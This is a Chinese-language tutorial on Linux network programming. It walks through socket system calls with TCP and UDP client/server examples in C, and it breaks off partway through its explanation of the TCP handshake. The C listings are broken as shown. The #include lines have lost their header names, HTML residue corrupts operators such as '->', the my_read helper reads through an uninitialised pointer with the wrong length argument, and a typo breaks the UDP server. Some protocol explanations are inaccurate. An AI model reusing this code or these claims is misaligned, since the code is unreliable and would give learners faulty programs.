歡迎您光臨本站 註冊首頁

Linux程序設計入門--網路編程

←手機掃碼閱讀     火星人 @ 2014-03-26 , reply:0

Linux系統的一個主要特點是他的網路功能非常強大。隨著網路的日宜普及,基於網路的
應用也將越來越多。 在這個網路時代,掌握了Linux的網路編程技術,將令每一個人處
於不敗之地,學習Linux的網路編程,可以讓我們真正的體會到網路的魅力。 想成為一
位真正的hacker,必須掌握網路編程技術。
現在書店裡面已經有了許多關於Linux網路編程方面的書籍,網路上也有了許多關於
網路編程方面的教材,大家都可以 去看一看的。在這裡我會和大家一起來領會Linux網
絡編程的奧妙,由於我學習Linux的網路編程也開始不久,所以我下面所說的肯定會有錯
誤的, 還請大家指點出來,在這裡我先謝謝大家了。
在這一個章節裡面,我會和以前的幾個章節不同,在前面我都是概括的說了一下,
從現在開始我會儘可能的詳細的說明每一個函數及其用法。好了讓我們去領會Linux的偉
大的魅力吧!
開始進入網路編程



網路編程(1)

1. Linux網路知識介紹
1.1 客戶端程序和服務端程序
網路程序和普通的程序有一個最大的區別是網路程序是由兩個部分組成的--客戶端和服
務器端.
網路程序是先有伺服器程序啟動,等待客戶端的程序運行並建立連接.一般的來說是服務
端的程序 在一個埠上監聽,直到有一個客戶端的程序發來了請求.
1.2 常用的命令
由於網路程序是有兩個部分組成,所以在調試的時候比較麻煩,為此我們有必要知道一些
常用的網路命令
netstat
命令netstat是用來顯示網路的連接,路由表和介面統計等網路的信息.netstat有許多的
選項 我們常用的選項是 -an 用來顯示詳細的網路狀態.至於其它的選項我們可以使用幫
助手冊獲得詳細的情況.
telnet
telnet是一個用來遠程控制的程序,但是我們完全可以用這個程序來調試我們的服務端程
序的. 比如我們的伺服器程序在監聽8888埠,我們可以用telnet localhost 8888來查
看服務端的狀況.
1.3 TCP/UDP介紹
TCP(Transfer Control Protocol)傳輸控制協議是一種面向連接的協議,當我們的網路程
序使用 這個協議的時候,網路可以保證我們的客戶端和服務端的連接是可靠的,安全的.

UDP(User Datagram Protocol)用戶數據報協議是一種非面向連接的協議,這種協議並不
能保證我們 的網路程序的連接是可靠的,所以我們現在編寫的程序一般是採用TCP協議的
..

網路編程(2)

2. 初等網路函數介紹(TCP)
Linux系統是通過提供套接字(socket)來進行網路編程的.網路程序通過socket和其它
幾個函數的調用,會返回一個 通訊的文件描述符,我們可以將這個描述符看成普通的文件
的描述符來操作,這就是linux的設備無關性的 好處.我們可以通過向描述符讀寫操作實
現網路之間的數據交流.
2.1 socket
int socket(int domain, int type,int protocol)
domain:說明我們網路程序所在的主機採用的通訊協族(AF_UNIX和AF_INET等). AF_UN
IX只能夠用於單一的Unix系統進程間通信,而AF_INET是針對Internet的,因而可以允許在
遠程 主機之間通信(當我們 man socket時發現 domain可選項是 PF_*而不是AF_*,因為
glibc是posix的實現 所以用PF代替了AF,不過我們都可以使用的).
type:我們網路程序所採用的通訊協議(SOCK_STREAM,SOCK_DGRAM等) SOCK_STREAM表明
我們用的是TCP協議,這樣會提供按順序的,可靠,雙向,面向連接的比特流. SOCK_DGRAM
表明我們用的是UDP協議,這樣只會提供定長的,不可靠,無連接的通信.
protocol:由於我們指定了type,所以這個地方我們一般只要用0來代替就可以了 sock
et為網路通訊做基本的準備.成功時返迴文件描述符,失敗時返回-1,看errno可知道出錯
的詳細情況.
2.2 bind
int bind(int sockfd, struct sockaddr *my_addr, int addrlen)
sockfd:是由socket調用返回的文件描述符.
addrlen:是sockaddr結構的長度.
my_addr:是一個指向sockaddr的指針. 在;中有 sockaddr的定義
struct sockaddr{
unisgned short as_family;
char sa_data[14];
};
不過由於系統的兼容性,我們一般不用這個頭文件,而使用另外一個結構(struct sock
addr_in) 來代替.在;中有sockaddr_in的定義
struct sockaddr_in{
unsigned short sin_family;
unsigned short int sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
我們主要使用Internet所以sin_family一般為AF_INET,sin_addr設置為INADDR_ANY表
示可以 和任何的主機通信,sin_port是我們要監聽的埠號.sin_zero[8]是用來填充的
.. bind將本地的埠同socket返回的文件描述符捆綁在一起.成功是返回0,失敗的情況和
socket一樣
2.3 listen
int listen(int sockfd,int backlog)
sockfd:是bind后的文件描述符.
backlog:設置請求排隊的最大長度.當有多個客戶端程序和服務端相連時, 使用這個表示
可以介紹的排隊長度. listen函數將bind的文件描述符變為監聽套接字.返回的情況和b
ind一樣.
2.4 accept
int accept(int sockfd, struct sockaddr *addr,int *addrlen)
sockfd:是listen后的文件描述符.
addr,addrlen是用來給客戶端的程序填寫的,伺服器端只要傳遞指針就可以了. bind,li
sten和accept是伺服器端用的函數,accept調用時,伺服器端的程序會一直阻塞到有一個
客戶程序發出了連接. accept成功時返回最後的伺服器端的文件描述符,這個時候服務
器端可以向該描述符寫信息了. 失敗時返回-1
2.5 connect
int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)
sockfd:socket返回的文件描述符.
serv_addr:儲存了伺服器端的連接信息.其中sin_add是服務端的地址
addrlen:serv_addr的長度
connect函數是客戶端用來同服務端連接的.成功時返回0,sockfd是同服務端通訊的文件
描述符 失敗時返回-1.
2.6 實例
伺服器端程序
/******* 伺服器程序 (server.c) ************/
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
int main(int argc, char *argv[])
{
int sockfd,new_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size,portnumber;
char hello[]="Hello! Are You Fine?\n";
if(argc!=2)
{
fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
exit(1);
}
if((portnumber=atoi(argv[1]))<0)
{
fprintf(stderr,"Usage:%s portnumber\a\n",argv[0]);
exit(1);
}
/* 伺服器端開始建立socket描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket error:%s\n\a",strerror(errno));
exit(1);
}
/* 伺服器端填充 sockaddr結構 */
bzero(&server_addr,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
server_addr.sin_port=htons(portnumber);
/* 捆綁sockfd描述符 */
if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==
-1)
{
fprintf(stderr,"Bind error:%s\n\a",strerror(errno));
exit(1);
}
/* 監聽sockfd描述符 */
if(listen(sockfd,5)==-1)
{
fprintf(stderr,"Listen error:%s\n\a",strerror(errno));
exit(1);
}
while(1)
{
/* 伺服器阻塞,直到客戶程序建立連接 */
sin_size=sizeof(struct sockaddr_in);
if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size
))==-1)
{
fprintf(stderr,"Accept error:%s\n\a",strerror(errno));
exit(1);
}
fprintf(stderr,"Server get connection from %s\n",
inet_ntoa(client_addr.sin_addr));
if(write(new_fd,hello,strlen(hello))==-1)
{
fprintf(stderr,"Write Error:%s\n",strerror(errno));
exit(1);
}
/* 這個通訊已經結束 */
close(new_fd);
/* 循環下一個 */
}
close(sockfd);
exit(0);
}
客戶端程序
/******* 客戶端程序 client.c ************/
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
int main(int argc, char *argv[])
{
int sockfd;
char buffer[1024];
struct sockaddr_in server_addr;
struct hostent *host;
int portnumber,nbytes;
if(argc!=3)
{
fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
exit(1);
}
if((host=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"Gethostname error\n");
exit(1);
}
if((portnumber=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s hostname portnumber\a\n",argv[0]);
exit(1);
}
/* 客戶程序開始建立 sockfd描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket Error:%s\a\n",strerror(errno));
exit(1);
}
/* 客戶程序填充服務端的資料 */
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
server_addr.sin_port=htons(portnumber);
server_addr.sin_addr=*((struct in_addr *)host->;h_addr);
/* 客戶程序發起連接請求 */
if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr)
)==-1)
{
fprintf(stderr,"Connect Error:%s\a\n",strerror(errno));
exit(1);
}
/* 連接成功了 */
if((nbytes=read(sockfd,buffer,1024))==-1)
{
fprintf(stderr,"Read Error:%s\n",strerror(errno));
exit(1);
}
buffer[nbytes]='\0';
printf("I have received:%s\n",buffer);
/* 結束通訊 */
close(sockfd);
exit(0);
}
MakeFile
這裡我們使用GNU 的make實用程序來編譯. 關於make的詳細說明見 Make 使用介紹
######### Makefile ###########
all:server client
server:server.c
gcc $^ -o $@
client:client.c
gcc $^ -o $@
運行make後會產生兩個程序server(伺服器端)和client(客戶端) 先運行./server port
number& (portnumber隨便取一個大於1204且不在/etc/services中出現的號碼 就用888
8好了),然後運行 ./client localhost 8888 看看有什麼結果. (你也可以用telnet和n
etstat試一試.) 上面是一個最簡單的網路程序,不過是不是也有點煩.上面有許多函數我
們還沒有解釋. 我會在下一章進行的詳細的說明.
2.7 總結
總的來說網路程序是由兩個部分組成的--客戶端和伺服器端.它們的建立步驟一般是:
伺服器端
socket-->;bind-->;listen-->;accept
客戶端
socket-->;connect
--

網路編程(3)

3. 伺服器和客戶機的信息函數
這一章我們來學習轉換和網路方面的信息函數.
3.1 位元組轉換函數
在網路上面有著許多類型的機器,這些機器在表示數據的位元組順序是不同的, 比如i386芯
片是低位元組在內存地址的低端,高位元組在高端,而alpha晶元卻相反. 為了統一起來,在Li
nux下面,有專門的位元組轉換函數.
unsigned long int htonl(unsigned long int hostlong)
unsigned short int htons(unisgned short int hostshort)
unsigned long int ntohl(unsigned long int netlong)
unsigned short int ntohs(unsigned short int netshort)
在這四個轉換函數中,h 代表host, n 代表 network.s 代表short l 代表long 第一個函
數的意義是將本機器上的long數據轉化為網路上的long. 其他幾個函數的意義也差不多
..
3.2 IP和域名的轉換
在網路上標誌一台機器可以用IP或者是用域名.那麼我們怎麼去進行轉換呢?
struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
;中有struct hostent的定義
struct hostent{
char *h_name; /* 主機的正式名稱 */
char *h_aliases; /* 主機的別名 */
int h_addrtype; /* 主機的地址類型 AF_INET*/
int h_length; /* 主機的地址長度 對於IP4 是4位元組32位*/
char **h_addr_list; /* 主機的IP地址列表 */
}
#define h_addr h_addr_list[0] /* 主機的第一個IP地址*/
gethostbyname可以將機器名(如 linux.yessun.com)轉換為一個結構指針.在這個結構里
面儲存了域名的信息
gethostbyaddr可以將一個32位的IP地址(C0A80001)轉換為結構指針.
這兩個函數失敗時返回NULL 且設置h_errno錯誤變數,調用h_strerror()可以得到詳細的
出錯信息
3.3 字元串的IP和32位的IP轉換.
在網路上面我們用的IP都是數字加點(192.168.0.1)構成的, 而在struct in_addr結構中
用的是32位的IP, 我們上面那個32位IP(C0A80001)是的192.168.0.1 為了轉換我們可以
使用下面兩個函數
int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)
函數裡面 a 代表 ascii n 代表network.第一個函數表示將a.b.c.d的IP轉換為32位的I
P,存儲在 inp指針裡面.第二個是將32位IP轉換為a.b.c.d的格式.
3.4 服務信息函數
在網路程序裡面我們有時候需要知道埠.IP和服務信息.這個時候我們可以使用以下幾
個函數
int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
{
char *s_name; /* 正式服務名 */
char **s_aliases; /* 別名列表 */
int s_port; /* 埠號 */
char *s_proto; /* 使用的協議 */
}
一般我們很少用這幾個函數.對應客戶端,當我們要得到連接的埠號時在connect調用成
功后使用可得到 系統分配的埠號.對於服務端,我們用INADDR_ANY填充后,為了得到連
接的IP我們可以在accept調用成功后 使用而得到IP地址.
在網路上有許多的默認埠和服務,比如埠21對ftp80對應WWW.為了得到指定的埠號
的服務 我們可以調用第四個函數,相反為了得到埠號可以調用第三個函數.
3.5 一個例子
#include ;
#include ;
#include ;
#include ;
#include ;
int main(int argc ,char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char **alias;
if(argc<2)
{
fprintf(stderr,"Usage:%s hostname|ip..\n\a",argv[0]);
exit(1);
}
argv++;
for(;*argv!=NULL;argv++)
{
/* 這裡我們假設是IP*/
if(inet_aton(*argv,&addr.sin_addr)!=0)
{
host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET);
printf("Address information of Ip %s\n",*argv);
}
else
{
/* 失敗,難道是域名?*/
host=gethostbyname(*argv); printf("Address information

of host %s\n",*argv);
}
if(host==NULL)
{
/* 都不是 ,算了不找了*/
fprintf(stderr,"No address information of %s\n",*arg
v);
continue;
}
printf("Official host name %s\n",host->;h_name);
printf("Name aliases:");
for(alias=host->;h_aliases;*alias!=NULL;alias++)
printf("%s ,",*alias);
printf("\nIp address:");
for(alias=host->;h_addr_list;*alias!=NULL;alias++)
printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));
}
}
在這個例子裡面,為了判斷用戶輸入的是IP還是域名我們調用了兩個函數,第一次我們假
設輸入的是IP所以調用inet_aton, 失敗的時候,再調用gethostbyname而得到信息.
--

網路編程(4)

4. 完整的讀寫函數
一旦我們建立了連接,我們的下一步就是進行通信了.在Linux下面把我們前面建立的通道
看成是文件描述符,這樣伺服器端和客戶端進行通信時候,只要往文件描述符裡面讀寫東
西了. 就象我們往文件讀寫一樣.
4.1 寫函數write
ssize_t write(int fd,const void *buf,size_t nbytes)
write函數將buf中的nbytes位元組內容寫入文件描述符fd.成功時返回寫的位元組數.失敗時
返回-1. 並設置errno變數. 在網路程序中,當我們向套接字文件描述符寫時有倆種可能
..
1)write的返回值大於0,表示寫了部分或者是全部的數據.
2)返回的值小於0,此時出現了錯誤.我們要根據錯誤類型來處理.
如果錯誤為EINTR表示在寫的時候出現了中斷錯誤.
如果為EPIPE表示網路連接出現了問題(對方已經關閉了連接).
為了處理以上的情況,我們自己編寫一個寫函數來處理這幾種情況.
int my_write(int fd,void *buffer,int length)
{
int bytes_left;
int written_bytes;
char *ptr;
ptr=buffer;
bytes_left=length;
while(bytes_left>;0)
{
/* 開始寫*/
written_bytes=write(fd,ptr,bytes_left);
if(written_bytes<=0) /* 出錯了*/
{
if(errno==EINTR) /* 中斷錯誤 我們繼續寫*/
written_bytes=0;
else /* 其他錯誤 沒有辦法,只好撤退了*/
return(-1);
}
bytes_left-=written_bytes;
ptr+=written_bytes; /* 從剩下的地方繼續寫 */
}
return(0);
}
4.2 讀函數read
ssize_t read(int fd,void *buf,size_t nbyte) read函數是負責從fd中讀取內容.當讀
成功時,read返回實際所讀的位元組數,如果返回的值是0 表示已經讀到文件的結束了,小於
0表示出現了錯誤.如果錯誤為EINTR說明讀是由中斷引起的, 如果是ECONNREST表示網路
連接出了問題. 和上面一樣,我們也寫一個自己的讀函數.
int my_read(int fd,void *buffer,int length)
{
int bytes_left;
int bytes_read;
char *ptr;
bytes_left=length;
while(bytes_left>;0)
{
bytes_read=read(fd,ptr,bytes_read);
if(bytes_read<0)
{
if(errno==EINTR)
bytes_read=0;
else
return(-1);
}
else if(bytes_read==0)
break;
bytes_left-=bytes_read;
ptr+=bytes_read;
}
return(length-bytes_left);
}
4.3 數據的傳遞
有了上面的兩個函數,我們就可以向客戶端或者是服務端傳遞數據了.比如我們要傳遞一
個結構.可以使用如下方式
/* 客戶端向服務端寫 */
struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);
/* 服務端的讀*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;
在網路上傳遞數據時我們一般都是把數據轉化為char類型的數據傳遞.接收的時候也是一
樣的 注意的是我們沒有必要在網路上傳遞指針(因為傳遞指針是沒有任何意義的,我們必
須傳遞指針所指向的內容)
--

網路編程(5)

5. 用戶數據報發送
我們前面已經學習網路程序的一個很大的部分,由這個部分的知識,我們實際上可以寫出
大部分的基於TCP協議的網路程序了.現在在Linux下的大部分程序都是用我們上面所學的
知識來寫的.我們可以去找一些源程序來參考一下.這一章,我們簡單的學習一下基於UDP
協議的網路程序.
5.1 兩個常用的函數
int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct socka
ddr * from int *fromlen)
int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct s
ockaddr *to int tolen)
sockfd,buf,len的意義和read,write一樣,分別表示套接字描述符,發送或接收的緩衝區
及大小.recvfrom負責從sockfd接收數據,如果from不是NULL,那麼在from裡面存儲了信息
來源的情況,如果對信息的來源不感興趣,可以將from和fromlen設置為NULL.sendto負責
向to發送信息.此時在to裡面存儲了收信息方的詳細資料.
5.2 一個實例
/* 服務端程序 server.c */
#include ;
#include ;
#include ;
#include ;
#include ;
#define SERVER_PORT 8888
#define MAX_MSG_SIZE 1024
void udps_respon(int sockfd)
{
struct sockaddr_in addr;
int addrlen,n;
char msg[MAX_MSG_SIZE];
while(1)
{ /* 從網路上度,寫到網路上面去 */
n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
(struct sockaddr*)&addr,&addrlen);
msg[n]=0;
/* 顯示服務端已經收到了信息 */
fprintf(stdout,"I have received %s",msg);
sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
}
}
int main(void)
{
int sockfd;
struct sockaddr_in addr;
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n",strerror(errno));
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonl(INADDR_ANY);
addr.sin_port=htons(SERVER_PORT);
if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0
)
{
fprintf(stderr,"Bind Error:%s\n",strerror(errno));
exit(1);
}
udps_respon(sockfd);
close(sockfd);
}

/* 客戶端程序 */
#include ;
#include ;
#include ;
#include ;
#include ;
#include ;
#define MAX_BUF_SIZE 1024
void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len)
{
char buffer[MAX_BUF_SIZE];
int n;
while(1)
{ /* 從鍵盤讀入,寫到服務端 */
fgets(buffer,MAX_BUF_SIZE,stdin);
sendto(sockfd,buffer,strlen(buffer),0,addr,len);
bzero(buffer,MAX_BUF_SIZE);
/* 從網路上讀,寫到屏幕上 */
n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL);
buffer[n]=0;
fputs(buffer,stdout);
}
}
int main(int argc,char **argv)
{
int sockfd,port;
struct sockaddr_in addr;
if(argc!=3)
{
fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
exit(1);
}
if((port=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s server_ip server_port\n",argv[0]);
exit(1);
}
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s\n",strerror(errno));
exit(1);
}
/* 填充服務端的資料 */
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
if(inet_aton(argv[1],&addr.sin_addr)<0)
{
fprintf(stderr,"Ip error:%s\n",strerror(errno));
exit(1);
}
udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
close(sockfd);
}
########### 編譯文件 Makefile ##########
all:server client
server:server.c
gcc -o server server.c
client:client.c
gcc -o client client.c
clean:
rm -f server
rm -f client
rm -f core
上面的實例如果大家編譯運行的話,會發現一個小問題的. 在我機器上面,我先運行服務
端,然後運行客戶端.在客戶端輸入信息,發送到服務端, 在服務端顯示已經收到信息,但
是客戶端沒有反映.再運行一個客戶端,向服務端發出信息 卻可以得到反應.我想可能是
第一個客戶端已經阻塞了.如果誰知道怎麼解決的話,請告訴我,謝謝. 由於UDP協議是不
保證可靠接收數據的要求,所以我們在發送信息的時候,系統並不能夠保證我們發出的信
息都正確無誤的到達目的地.一般的來說我們在編寫網路程序的時候都是選用TCP協議的
--

網路編程(6)

6. 高級套接字函數
在前面的幾個部分裡面,我們已經學會了怎麼樣從網路上讀寫信息了.前面的一些函數(r
ead,write)是網路程序裡面最基本的函數.也是最原始的通信函數.在這一章裡面,我們一
起來學習網路通信的高級函數.這一章我們學習另外幾個讀寫函數.
6.1 recv和send
recv和send函數提供了和read和write差不多的功能.不過它們提供 了第四個參數來控制
讀寫操作.
int recv(int sockfd,void *buf,int len,int flags)
int send(int sockfd,void *buf,int len,int flags)
前面的三個參數和read,write一樣,第四個參數可以是0或者是以下的組合
_______________________________________________________________
| MSG_DONTROUTE | 不查找路由表 |
| MSG_OOB | 接受或者發送帶外數據 |
| MSG_PEEK | 查看數據,並不從系統緩衝區移走數據 |
| MSG_WAITALL | 等待所有數據 |
|--------------------------------------------------------------|
MSG_DONTROUTE:是send函數使用的標誌.這個標誌告訴IP協議.目的主機在本地網路上面
,沒有必要查找路由表.這個標誌一般用網路診斷和路由程序裡面.
MSG_OOB:表示可以接收和發送帶外的數據.關於帶外數據我們以後會解釋的.
MSG_PEEK:是recv函數的使用標誌,表示只是從系統緩衝區中讀取內容,而不清楚系統緩衝
區的內容.這樣下次讀的時候,仍然是一樣的內容.一般在有多個進程讀寫數據時可以使用
這個標誌.
MSG_WAITALL是recv函數的使用標誌,表示等到所有的信息到達時才返回.使用這個標誌的
時候recv回一直阻塞,直到指定的條件滿足,或者是發生了錯誤. 1)當讀到了指定的位元組
時,函數正常返回.返回值等於len 2)當讀到了文件的結尾時,函數正常返回.返回值小於
len 3)當操作發生錯誤時,返回-1,且設置錯誤為相應的錯誤號(errno)
如果flags為0,則和read,write一樣的操作.還有其它的幾個選項,不過我們實際上用的很
少,可以查看 Linux Programmer's Manual得到詳細解釋.
6.2 recvfrom和sendto
這兩個函數一般用在非套接字的網路程序當中(UDP),我們已經在前面學會了.
6.3 recvmsg和sendmsg
recvmsg和sendmsg可以實現前面所有的讀寫函數的功能.
int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)
struct msghdr
{
void *msg_name;
int msg_namelen;
struct iovec *msg_iov;
int msg_iovlen;
void *msg_control;
int msg_controllen;
int msg_flags;
}
struct iovec
{
void *iov_base; /* 緩衝區開始的地址 */
size_t iov_len; /* 緩衝區的長度 */
}
msg_name和 msg_namelen當套接字是非面向連接時(UDP),它們存儲接收和發送方的地址
信息.msg_name實際上是一個指向struct sockaddr的指針,msg_name是結構的長度.當套
接字是面向連接時,這兩個值應設為NULL. msg_iov和msg_iovlen指出接受和發送的緩衝
區內容.msg_iov是一個結構指針,msg_iovlen指出這個結構數組的大小. msg_control和
msg_controllen這兩個變數是用來接收和發送控制數據時的 msg_flags指定接受和發送
的操作選項.和recv,send的選項一樣
6.4 套接字的關閉
關閉套接字有兩個函數close和shutdown.用close時和我們關閉文件一樣.
6.5 shutdown
int shutdown(int sockfd,int howto)
TCP連接是雙向的(是可讀寫的),當我們使用close時,會把讀寫通道都關閉,有時侯我們希
望只關閉一個方向,這個時候我們可以使用shutdown.針對不同的howto,系統回採取不同
的關閉方式.
howto=0這個時候系統會關閉讀通道.但是可以繼續往接字描述符寫.
howto=1關閉寫通道,和上面相反,著時候就只可以讀了.
howto=2關閉讀寫通道,和close一樣 在多進程程序裡面,如果有幾個子進程共享一個套接
字時,如果我們使用shutdown, 那麼所有的子進程都不能夠操作了,這個時候我們只能夠
使用close來關閉子進程的套接字描述符.



網路編程(7)

7. TCP/IP協議
你也許聽說過TCP/IP協議,那麼你知道到底什麼是TCP,什麼是IP嗎?在這一章裡面,我們一
起來學習這個目前網路上用最廣泛的協議.
7.1 網路傳輸分層
如果你考過計算機等級考試,那麼你就應該已經知道了網路傳輸分層這個概念.在網路上
,人們為了傳輸數據時的方便,把網路的傳輸分為7個層次.分別是:應用層,表示層,會話層
,傳輸層,網路層,數據鏈路層和物理層.分好了層以後,傳輸數據時,上一層如果要數據的
話,就可以直接向下一層要了,而不必要管數據傳輸的細節.下一層也只向它的上一層提供
數據,而不要去管其它東西了.如果你不想考試,你沒有必要去記這些東西的.只要知道是
分層的,而且各層的作用不同.
7.2 IP協議
IP協議是在網路層的協議.它主要完成數據包的發送作用. 下面這個表是IP4的數據包格

0 4 8 16 32
--------------------------------------------------
|版本 |首部長度|服務類型| 數據包總長 |
--------------------------------------------------
| 標識 |DF |MF| 碎片偏移 |
--------------------------------------------------
| 生存時間 | 協議 | 首部較驗和 |
------------------------------------------------
| 源IP地址 |
------------------------------------------------
| 目的IP地址 |
-------------------------------------------------
| 選項 |
=================================================
| 數據 |
-------------------------------------------------
下面我們看一看IP的結構定義;
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4; /* header length */
#endif
u_int8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_int8_t ip_ttl; /* time to live */
u_int8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};
ip_vIP協議的版本號,這裡是4,現在IPV6已經出來了
ip_hlIP包首部長度,這個值以4位元組為單位.IP協議首部的固定長度為20個位元組,如果IP包
沒有選項,那麼這個值為5.
ip_tos服務類型,說明提供的優先權.
ip_len說明IP數據的長度.以位元組為單位.
ip_id標識這個IP數據包.
ip_off碎片偏移,這和上面ID一起用來重組碎片的.
ip_ttl生存時間.沒經過一個路由的時候減一,直到為0時被拋棄.
ip_p協議,表示創建這個IP數據包的高層協議.如TCP,UDP協議.
ip_sum首部校驗和,提供對首部數據的校驗.
ip_src,ip_dst發送者和接收者的IP地址
關於IP協議的詳細情況,請參考 RFC791
7.3 ICMP協議
ICMP是消息控制協議,也處於網路層.在網路上傳遞IP數據包時,如果發生了錯誤,那麼就
會用ICMP協議來報告錯誤.
ICMP包的結構如下:
0 8 16 32
---------------------------------------------------------------------
| 類型 | 代碼 | 校驗和 |
--------------------------------------------------------------------
| 數據 | 數據 |
--------------------------------------------------------------------
ICMP在;中的定義是
struct icmphdr
{
u_int8_t type; /* message type */
u_int8_t code; /* type sub-code */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* echo datagram */
u_int32_t gateway; /* gateway address */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};
關於ICMP協議的詳細情況可以查看 RFC792
7.4 UDP協議
UDP協議是建立在IP協議基礎之上的,用在傳輸層的協議.UDP和IP協議一樣是不可靠的數
據報服務.UDP的頭格式為:
0 16 32
---------------------------------------------------
| UDP源埠 | UDP目的埠 |
---------------------------------------------------
| UDP數據報長度 | UDP數據報校驗 |
---------------------------------------------------
UDP結構在;中的定義為:
struct udphdr {
u_int16_t source;
u_int16_t dest;
u_int16_t len;
u_int16_t check;
};
關於UDP協議的詳細情況,請參考 RFC768
7.5 TCP
TCP協議也是建立在IP協議之上的,不過TCP協議是可靠的.按照順序發送的.TCP的數據結
構比前面的結構都要複雜.
0 4 8 10 16 24 32
-------------------------------------------------------------------
| 源埠 | 目的埠 |
-------------------------------------------------------------------
| 序列號 |
------------------------------------------------------------------
| 確認號 |
------------------------------------------------------------------
| | |U|A|P|S|F| |
|首部長度| 保留 |R|C|S|Y|I| 窗口 |
| | |G|K|H|N|N| |
-----------------------------------------------------------------
| 校驗和 | 緊急指針 |
-----------------------------------------------------------------
| 選項 | 填充位元組 |
-----------------------------------------------------------------
TCP的結構在;中定義為:
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_prt;
};
source發送TCP數據的源埠
dest接受TCP數據的目的埠
seq標識該TCP所包含的數據位元組的開始序列號
ack_seq確認序列號,表示接受方下一次接受的數據序列號.
doff數據首部長度.和IP協議一樣,以4位元組為單位.一般的時候為5
urg如果設置緊急數據指針,則該位為1
ack如果確認號正確,那麼為1
psh如果設置為1,那麼接收方收到數據后,立即交給上一層程序
rst為1的時候,表示請求重新連接
syn為1的時候,表示請求建立連接
fin為1的時候,表示親戚關閉連接
window窗口,告訴接收者可以接收的大小
check對TCP數據進行較核
urg_ptr如果urg=1,那麼指出緊急數據對於歷史數據開始的序列號的偏移值
關於TCP協議的詳細情況,請查看 RFC793
7.6 TCP連接的建立
TCP協議是一種可靠的連接,為了保證連接的可靠性,TCP的連接要分為幾個步驟.我們把這
個連接過程稱為"三次握手".
下面我們從一個實例來分析建立連接的過程.
第一步客戶機向伺服器發送一個TCP數據包,表示請求建立連接. 為此,客戶端將數據包的
SYN位設置為1,並且設置序列號seq=1000(我們假設為1000).
